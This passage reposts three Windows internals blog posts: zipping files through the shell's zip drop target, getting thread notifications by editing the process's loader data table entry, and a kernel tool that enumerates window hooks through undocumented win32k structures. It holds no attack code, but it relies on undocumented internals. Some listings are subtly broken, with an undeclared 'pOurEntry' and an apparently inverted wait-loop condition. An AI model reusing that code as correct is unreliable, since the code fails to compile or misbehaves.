((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { // fail if not return DV_E_FORMATETC; } // succeed if so return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } // Eschew filling in pOutEtc by using the // "It would be the same as the input one" return value return DATA_S_SAMEFORMATETC; } [h=2]Finishing Up[/h] All that’s left is to put it all together, add some file names and drop our new data object. Bing-oh no. That would be it, except for one thing. The zip folder’s DropTarget creates a new thread to do the actual zipping, unfortunately it uses the SHCreateThread function to do so. Unfortunate because that function returns neither the thread handle nor its id. Of course, with no way of being able to identify it, we, nor the zipping code can know when it has finished its work. When called from Explorer it’s no problem since that is always running, but if our program exits while the thread is in progress we could have anything from missing files to a completely corrupt zip. There’s an easy workaround for this problem, in the shape of change notifications. Set one up for size changes, and when you stop receiving them for the zip file we can be confident the process has finished. That finally gives us a fully workable program that looks something like this: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shlwapi.h> #include <shellapi.h> #include <shlobj.h> #include <ole2.h> #include <cstdio> class ZipFileDataObject : public IDataObject { HGLOBAL hMem; size_t curSize; LONG refCount; public: ZipFileDataObject() { curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); pFiles->fWide = TRUE; pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } ~ZipFileDataObject() { GlobalFree(hMem); } void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; char* pDataPos = static_cast<char*>(GlobalLock(hMem)); // the last two bytes are the terminating double null pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } // IUnknown STDMETHODIMP QueryInterface(REFIID iid, void** ppv) { if(!ppv) return E_POINTER; *ppv = NULL; HRESULT hr = S_OK; if(iid == IID_IUnknown || iid == IID_IDataObject) { *ppv = this; AddRef(); } else hr = E_NOINTERFACE; return hr; } STDMETHODIMP_(ULONG) AddRef() { return InterlockedIncrement(&refCount); } STDMETHODIMP_(ULONG) Release() { LONG ret = InterlockedDecrement(&refCount); if(ret == 0) { delete this; } return ret; } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } // IDataObject STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } STDMETHODIMP QueryGetData(FORMATETC* pEtc) { if(!pEtc) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } return DATA_S_SAMEFORMATETC; } STDMETHODIMP SetData(FORMATETC*, STGMEDIUM*, BOOL) { return E_NOTIMPL; } STDMETHODIMP EnumFormatEtc(DWORD, IEnumFORMATETC**) { return E_NOTIMPL; } STDMETHODIMP DAdvise(FORMATETC*, DWORD, IAdviseSink*, DWORD*) { return E_NOTIMPL; } STDMETHODIMP DUnadvise(DWORD) { return E_NOTIMPL; } STDMETHODIMP EnumDAdvise(IEnumSTATDATA**) { return E_NOTIMPL; } }; #define FAIL_ON_ERR(exp) \ hr = exp; \ if(FAILED(hr)) \ { \ printf("%s failed with error %#x\n", #exp, hr); \ return NULL; \ } IDropTarget* CreateZipTarget(LPCWSTR pFolderName, LPCWSTR pZipFileName) { HRESULT hr = S_OK; IShellFolder* pFolder = NULL; IStorage* pZipFileParentFolderStorage = NULL; IDropTarget* pTarget = NULL; IStream* pZipStream = NULL; IShellFolder* pZipFileFolder = NULL; LPITEMIDLIST pFolderPidl = NULL, pFilePidl = NULL; __try { FAIL_ON_ERR(SHGetDesktopFolder(&pFolder)); FAIL_ON_ERR(pFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pFolderName), NULL, &pFolderPidl, NULL)); FAIL_ON_ERR(pFolder->BindToObject(pFolderPidl, NULL, IID_PPV_ARGS(&pZipFileFolder))); FAIL_ON_ERR(pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage))); FAIL_ON_ERR(pZipFileParentFolderStorage->CreateStream(pZipFileName, STGM_FAILIFTHERE | STGM_CREATE, 0, 0, &pZipStream)); FAIL_ON_ERR(pZipFileFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pZipFileName), NULL, &pFilePidl, NULL)); FAIL_ON_ERR(pZipFileFolder->GetUIObjectOf(NULL, 1, (LPCITEMIDLIST*)&pFilePidl, IID_IDropTarget, 0, (PVOID*)&pTarget)); return pTarget; } __finally { if(pZipFileFolder) pZipFileFolder->Release(); if(pFolder) pFolder->Release(); if(pZipFileParentFolderStorage) pZipFileParentFolderStorage->Release(); if(pZipStream) pZipStream->Release(); CoTaskMemFree(pFilePidl); CoTaskMemFree(pFolderPidl); } } void GetDirAndEventHandles(LPCWSTR pDirName, HANDLE* phDir, HANDLE * phEvent) { *phDir = CreateFile( pDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); *phEvent = CreateEvent(NULL, FALSE, FALSE, NULL); } int __cdecl wmain(int argc, wchar_t** argv) { if(argc <= 2) { return puts("Usage: ZipFiles.exe OutputDir file1, file2, ..."); } OleInitialize(NULL); WCHAR zipFileFolder[MAX_PATH]; LPCWSTR pAbsoluteZipFolder = argv[1]; LPCWSTR pZipFileName = L"files.zip"; if(PathIsRelative(argv[1])) { GetFullPathName(argv[1], ARRAYSIZE(zipFileFolder), zipFileFolder, NULL); pAbsoluteZipFolder = zipFileFolder; } IDropTarget* pDropTarget = CreateZipTarget(pAbsoluteZipFolder, pZipFileName); if(pDropTarget) { ZipFileDataObject* pZfdo = new ZipFileDataObject(); for(int i = 2; i < argc; ++i) { pZfdo->AddFileToObject(argv[i]); } POINTL pt = {0}; DWORD effect = DROPEFFECT_COPY; HRESULT hr = pDropTarget->DragEnter(pZfdo, MK_LBUTTON, pt, &effect); if(SUCCEEDED(hr)) { // grab handles to the directory containing the zip, and a bog standard event HANDLE hDir, hEvent; GetDirAndEventHandles(pAbsoluteZipFolder, &hDir, &hEvent); // setup for the notifications BYTE notifyBuffer[sizeof(FILE_NOTIFY_INFORMATION) + (MAX_PATH * sizeof(WCHAR))] = {0}; OVERLAPPED ol = {0}; ol.hEvent = hEvent; // and start the monitoring ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); // then do the drop as normal effect &= DROPEFFECT_COPY; hr = pDropTarget->Drop(pZfdo, MK_LBUTTON, pt, &effect); pDropTarget->Release(); pZfdo->Release(); if(FAILED(hr)) { printf("Failed to drop files because of error %#x\n", hr); CloseHandle(hDir); CloseHandle(hEvent); OleUninitialize(); return 1; } // Timeout our zip modification, it should be finished // if we don't get any after this period DWORD zipLastModified = GetTickCount(); DWORD zipModificationTimeout = 5000; while(((GetTickCount() - zipLastModified) >= zipModificationTimeout) && (WaitForSingleObject(hEvent, zipModificationTimeout) == WAIT_OBJECT_0) ) { // we got a notifications, process them DWORD numBytes = 0; GetOverlappedResult(hDir, &ol, &numBytes, FALSE); BYTE* pIter = notifyBuffer, *pEnd = pIter + numBytes; FILE_NOTIFY_INFORMATION* pFni = NULL; do { pFni = reinterpret_cast<FILE_NOTIFY_INFORMATION*>(pIter); // if its an update that pertains to our zip, update the modified time if(pFni->Action == FILE_ACTION_MODIFIED && wcsnicmp(pFni->FileName, pZipFileName, pFni->FileNameLength / sizeof(WCHAR)) == 0 ) { zipLastModified = GetTickCount(); } pIter += pFni->NextEntryOffset; } // there can be multiple notificatons per call, make sure we catch 'em all while((pIter < pEnd) && pFni->NextEntryOffset); // anf kick off the next batch ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); } // if we're here, we've finished CloseHandle(hEvent); CloseHandle(hDir); } } OleUninitialize(); return 0; } [1]: As zip files contain other files, zipfldr.dll (the zip file provider) lets you create IStorage interfaces on them. You can also BindToObject() on them directly and get an IShellFolder interface representing the zip file and its contents. [2]: You can create drop targets for any type of file not just zips. What happens when you drag and drop things onto them though, is defined by the filetype. Zip files will compress the files, executable will launch with them as the arguments, etc. [3]: It tells you to use IID_PPV_ARGS, but the reserved parameter in between the REFIID and void** arguments stops it from expanding properly. [4]: This is one of the downsides of using the zipping functionality, it assumes it’s running in an application with an always on UI like Explorer. Apart from error message dialogs, it also displays progress bars when zipping takes place. Sursa: Dropping Like Files – Zipping Without Libraries
-
[h=3]Process Thread Creation Notification – The Easy Way[/h]adeyblue @ 3:22 am If what you’re writing already requires a dll, or you can leverage an existing one then you’re already set and can use the fact that DllMain gets called when threads are created and destructed to your advantage. If you’re not, or can’t then you’re pretty much stuck for an answer. Conventional wisdom on the web seems to revolve around hooking CreateThread. However, with several methods of creating threads called at various levels of the Win32 system, that isn’t always sufficient, especially if you want to execute code in the thread context. Dll thread_attach notifications work because when threads are created and torn down, ntdll loops around the internal structures corresponding to each module loaded in the process and calls their entry point if they meet certain criteria. The structure for the exe is included in the enumeration but as it doesn’t identify as a dll, its entry point isn’t called. The thing to do then, is modify it to a) look like a dll and make it think our entry point is a DllMain. Usually this poking around officially undocumented stuff is at least a slight pain (after all you’re not meant to be touching it), in this case however the structure is a single call away. // in ntdll.dll EXTERN_C NTSYSAPI NTSTATUS NTAPI LdrFindEntryForAddress( HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppEntry ); You give it an address in a module, and it gives you a pointer to the structure. Seems like a fair trade to me. Here’s what’s in it. struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; This is the XP version layout. More recent versions have appended extra fields, but we ignore them. The three fields of interest are BaseAddress, EntryPoint, and Flags. Entrypoint and Flags are self-explanatory, BaseAddress though? Yep, as well as checking the flags, the looping code also excludes those whose BaseAddress is the same as GetModuleHandle(NULL). This might sound like it could be a bit disabling to the program, especially if you know that GetModuleHandle can also loop over these structures. It isn’t in practice thought, only affecting calls to GetModuleHandle(), the value returned from GetModuleHandle(NULL) is cached elsewhere so modifying the entry leaves it unaffected. Setting the new entrypoint to a DllMain-a-like is easy enough, and the BaseAddress value can be changed to BaseAddress += 2 (this enables it to still be used in kernel32 functions if anybody ever does GetModuleHandle()), yet we’ve neglected the flag values. // // Loader Data Table Entry Flags, from ReactOS // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 There are a lot of them, yet we only need concern ourselves with three. LDRP_IMAGE_DLL and LDRP_PROCESS_ATTACH_CALLED need to be set to signal that we are a dll and that we’ve had our init code called. LDRP_DONT_CALL_FOR_THREADS needs to be clear, because being called for threads is exactly what we’re after! So, putting it all into motion: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } And running it produces: Thread attach : 4208 Thread attach : 3052 Thread attach : 2076 Thread attach : 3144 Thread attach : 1476 Thread attach : 516 Thread attach : 4224 Thread attach : 4320 Thread attach : 3620 Thread attach : 1280 Yay… wait a minute. Where are the detach and shutdown notifications? So much for mimicking DllMain. See those LIST_ENTRY structures at the head of the LDR_DATA_TABLE_ENTRY structure, those are the three different orders in which the module entries are linked. LoadOrder is obvious, whereas non-obviously MemoryOrder is the same as LoadOrder, and InitializationOrder is the order that the DllMain’s were called…, ah. Our LDR_DATA_TABLE_ENTRY is the first entry of the first two lists however since it isn’t a kosher dll, it’s not present in the third. ThreadAttach notifications work since ntdll walks the LoadOrder module list when calling entry points for thread attaches. The other notifications don’t work, since ntdll walks the InitOrder list for those. The solution therefore is to add ourself to that one, and that’s quite a simple op too. Where we should insert outselves is up to you, before kernel32 seems as good a place as any though. In summation: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } void InsertIntoList(LIST_ENTRY* pOurListEntry, LIST_ENTRY* pK32ListEntry) { // dll detach are called in reverse list order // so after Kernel32 is before it in the list // our forward link wants to point to whatever is after // k32ListEntry and our back link wants to point to pK32ListEn LIST_ENTRY* pEntryToInsertAfter = pK32ListEntry->Flink; pOurListEntry->Flink = pEntryToInsertAfter; pOurListEntry->Blink = pEntryToInsertAfter->Blink; pEntryToInsertAfter->Blink = pOurListEntry; pOurListEntry->Blink->Flink = pOurListEntry; } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); LDR_DATA_TABLE_ENTRY* pK32Entry = NULL; LdrFindEntryForAddress(GetModuleHandle(L"kernel32.dll"), &pK32Entry); InsertIntoList(&pOurEntry->InInitializationOrderModuleList, &pK32Entry->InInitializationOrderModuleList); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } Output: Thread attach : 4856 Thread attach : 3896 Thread attach : 4140 Thread attach : 3488 Thread attach : 188 Thread detach : 188 Thread attach : 3272 Thread attach : 3376 Thread attach : 1632 Thread detach : 4856 Thread attach : 4120 Thread detach : 3896 Thread detach : 4140 Thread detach : 3488 Thread attach : 3484 Thread detach : 3272 Thread detach : 3376 Thread detach : 1632 Thread detach : 4120 Thread detach : 3484 Process detach : 4720 Yay, for realsies this time. So that’s how you do it, with help from some jiggery poker. No hooks, no external code, just pure, clean, faffing around. Sursa: Process Thread Creation Notification – The Easy Way
-
[h=3]Hookers – Underneath the Sheets[/h]adeyblue @ 7:12 am Introduction Finding Hooks Finding Desktops Finding Threads Hook Information Dll Name Process Name Copying to User Mode Wrapup/TL:DR Download MsgHookLister [h=2]Introduction[/h] We all need ideas. Whether you’ve just finished something, or are getting a little bit bored with your current project you can’t help but let your mind drift to the next cool thing you’ll create. Sometimes the ideas come thick and fast, other times they’re like gold dust. When I’m in the second camp, and reading the various boards I read, I will quite happily steal other peoples. One such board is Sysinternals’. They do winternals, I do winternals, they have a suggestion section and I want ideas. It’s a perfect fit. On a previous visit, one of the suggestions was a program that could list active hooks. Given my previous excursions into user/win32k territory, it didn’t seem like it’d be too hard. And apart from the digging around assembly listings for the structure offsets, it wasn’t, and that was more time-intensive than difficult. At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t even have 14 games on my computer! Rather than just dumping a download link (here) and what it does (list active hooks), I thought I’d deconstruct the hows and why’s of the kernel side of the query. Needless to say, much of what follows is discussion of undocumented things. I am aware this makes Raymond Chen cry. Sorry fella. [h=2]Finding hooks[/h] Compared to other operations, enumerating the installed hooks is quite easy. Thread specific hooks are recorded in a win32k per-thread data structure tagged, rather imaginatively, as THREADINFO[1]. This is essentially an ETHREAD/TEB like structure but one tailored specifically for user and gdi information. One of its members (aphkStart) is a 16 element array of pointers, individually they either point to NULL, or the head of a linked list of HOOK structures. Enumerating the hooks is simply a measure of walking down those chains. For convenience, and probably so that iteration isn’t required to see if any hooks are set, the THREADINFO contains another member, fsHooks, which is a bitfield. If a bit is on, the corresponding index in the hook array is valid. Instead of 33 comparisons (16 for NULL and 17 for a for-loop), telling if there are hooks requires just one, nifty! Global hooks, which are per desktop[2], are also stored in a per-object structure, also imaginatively named (DESKTOPINFO), and are also stored in an array with an accompanying bitfield. Bridging the two is pDeskInfo, a member of THREADINFO which points to its owning DESKTOPINFO. Despite the bellyaching in the intro, working with all these undocumented structures isn’t actually too hard in practice. The Windows 7 symbols for win32k.sys include their layouts, which is nice. The symbols for the Vista/Server 2008 era don’t though, this is where the assembly studying comes and saves the day. Knowing what these structures look like is one thing, getting at them is another… [h=3]Finding Desktops[/h] You may know that at the top of Windows UI architecture is the humble windowstation[3]. Not much is known about these creatures (read as: nobody needs to care) except that they are a glorified container of desktops. It is these delilahs of display that contain the actual user objects such as windows, hooks, menus etc. As mentioned, threads are bound to one desktop and which one can be determined by following a pointer. Desktop objects are stored in a singly linked list, so by following another pointer in the desktop structure rpDeskNext, you can enumerate desktops under a windowstation. Like threads, each desktop has a pointer to its owning windowstation which is also part of a singularly linked list. Everything’s fine and dandy, except that there are no guarantees the results of thread->desktop or desktop->windowstation find the heads of their respective lists. After all, there can only be one head before everybody has to fall into line. One method, and the one I used in the Desktop Heap Monitor update is to query the \Windows\Windowstations and \Sessions\\Windows\Windowstations object directories via NtOpenDirectoryObject and NtQueryDirectoryObject. The reward for this is a directory handle and an object name which can be redeemed against ObOpenObjectByName for an object handle, which can be finally be exchanged for a pointer with ObReferenceObjectByHandle. It’s relatively lots of work, but mostly documented. The alternative method which I only stumbled upon recently is much easier and much more hacky. One of win32k.sys’s globals is named grpWinStaList, which just happens to be the head of the windowstation list. As windowstation objects (named as tagWINDOWSTATION) contain a pointer to the head of the desktop list, iterating through them all is a piece of cake. [h=3]Finding Threads[/h] Finding threads takes the finesse approach of the desktops and throws it down the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using ZwQuerySystemInformation(SystemProcessInformation) to enumerate running processes. What MSDN conceals about the SYSTEM_PROCESS_INFORMATION structure is that at the end of it is an array of SYSTEM_THREAD_INFORMATION structures, one for each thread in that process. The thread id contained in the struct is turned into an ETHREAD object by the above board PsLookupThreadByThreadId. Failure means the thread has probably exited, which is no biggie. Interrogation of the thread continues with PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer in the threads possession. Failure here isn’t a double cross, not all threads interact with the presentation side of Windows and those that don’t don’t have a value to return. NTSTATUS stat = STATUS_SUCCESS; const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount; while(pThreadInfo != pEnd) { PETHREAD pThread = NULL; if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &pThread))) { __try { PVOID pWin32Thread = PsGetThreadWin32Thread(pThread); if(pWin32Thread) { stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside); } } // ensure reference is released no matter what happens __finally { ObDereferenceObject(pThread); } } ++pThreadInfo; } With the THREADINFO and offsets in hand, the hook information is a dereference away… [h=2]Hook Information[/h] Having gotten our grubby mitts on them, we find HOOK structures record most of the relevant information themselves: struct tagHOOK { THRDESKHEAD head; // info about the creator struct tagHOOK* phkNext; // next entry in linked list int iHook; // WH_ hook type UINT_PTR offPfn; // RVA to hook function in ihmod library UINT flags; // HF_ flags (GLOBAL, ANSI) int ihmod; THREADINFO* ptiHooked; // the hooked thread PVOID rpDesk; // saved desktop pointer ULONG nTimeout :7; ULONG fLastHookHung :1; }; Directly stored is the originating thread (in the head member), the hooked thread, and (via an offset) the hook function. Noticeable by its absence, for those hooks which specify one, is the lack of any instant dll identification. [h=3]Dll Name[/h] By its’ name, ihmod hints at something to do with HMODULEs, and indeed it is. However, it’s nothing as simple as an index into an array of names or HMODULEs, nor can it be used by any function exported by the kernel or win32k. Undocumented is as undocumented does, ihmod is actually an index into another global of win32k.sys named aatomSysLoaded, an array of ATOMs. As mentioned, there are no functions exported that manipulate or query this array, no, more “dirty” methods are required. The dirtyness doesn’t stop once you’ve indexed the array (either by dereferencing a hardcoded offset or querying from the symbols). So what purpose does this ATOM have? Much like you can use GlobalAddAtom or AddAtom in user mode to essentailly map a string to an ATOM, win32k does too in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx. Remember I said there’s more hacking after the array indexing? It’s not strictly necessary. The user-mode function GetClipboardFormatName can turn that atom into a dll name[4]. MsgHookLister goes the whole hacky way though and uses the win32k function UserGetAtomName, just because well, what’s one extra bit of hackery in a thing built completely on top of it? // abridged WCHAR* GetDllName(PVOID pHeap, int atomIndex) { // negative indexes are seen for LowLevel hooks // where there isn't an injected dll if(atomIndex < 0) return NULL; // turn the index to an ATOM ATOM actualAtom = aatomSysLoaded[atomIndex]; WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR)); if(pNameBuf) { ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH); if(charsNeeded != 0) { // this is just a normal atom that's been stringified ignore it if(pNameBuf[0] == L'#') { RtlFreeHeap(pHeap, 0, pNameBuf); pNameBuf = NULL; } } } return pNameBuf; } That’s almost everything, but thread ids can be made much more pallatable to the client app… [h=3]Process Name[/h] The only other thing in the output not covered by the struct is the process name. Again, this can be gotten from user mode, and by looking in the PEB. However, in a rare bout of playing by the rules, MsgHookLister uses PsThreadToProcess to get an EPROCESS from an ETHREAD and PsGetProcessImageFileName to get the name string that is stored within it. void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen) { PAGED_CODE(); // this doesn't need releasing PEPROCESS pProc = PsThreadToProcess(pThread); strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen); pNameBuffer[bufLen - 1] = 0; } // // call site // HOOK* pHookIter = ... // the EThread offset is the same either way, // so it's OK to leave this as THREADINFO7 even on Vista THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti); if(pSettingThread) { hook.dwSettingThread = 